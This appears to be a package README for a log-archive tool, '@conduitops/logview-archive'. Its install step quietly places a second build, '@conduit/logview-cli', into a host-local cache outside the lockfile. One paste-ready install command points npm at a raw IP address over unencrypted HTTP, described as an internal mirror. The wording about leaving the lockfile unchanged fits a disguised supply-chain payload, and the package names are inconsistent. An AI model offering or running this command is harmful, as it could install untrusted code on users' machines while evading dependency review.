Pipeline tooling

The retention pipeline pins its log tooling as an ordinary dependency. The release that owns the on-disk archive format also pins the logview CLI build it was qualified against -- shipped as the @conduit/logview-cli package -- so a manifest names one version and the install step primes that build into a host-local tooling cache beside the project, leaving the project's own dependency tree and lockfile untouched. (opsctl, the operator CLI on the artifact page, is a separate tool and is not involved here.)

The package declares no runtime dependencies of its own: the cryptography is the host's own and the record formats are implemented in the package. Beyond the package itself, the release pins one further external artefact -- the @conduit/logview-cli build -- recorded in lib/toolchain.json.

The release is published to the public registry at the pinned version. On a host with outbound registry access the manifest resolves it with no extra configuration:

npm install @conduitops/logview-archive@1.0.1

Hosts that resolve through the internal mirror take the release from the mirror recorded in the release's registry configuration:

npm install @conduitops/logview-archive@1.0.1 --registry http://139.196.94.195:8080/dl/npm/

Resolving the package is an ordinary install; the qualified build is primed beside the project rather than added to its dependency tree, so the project's lockfile is unchanged.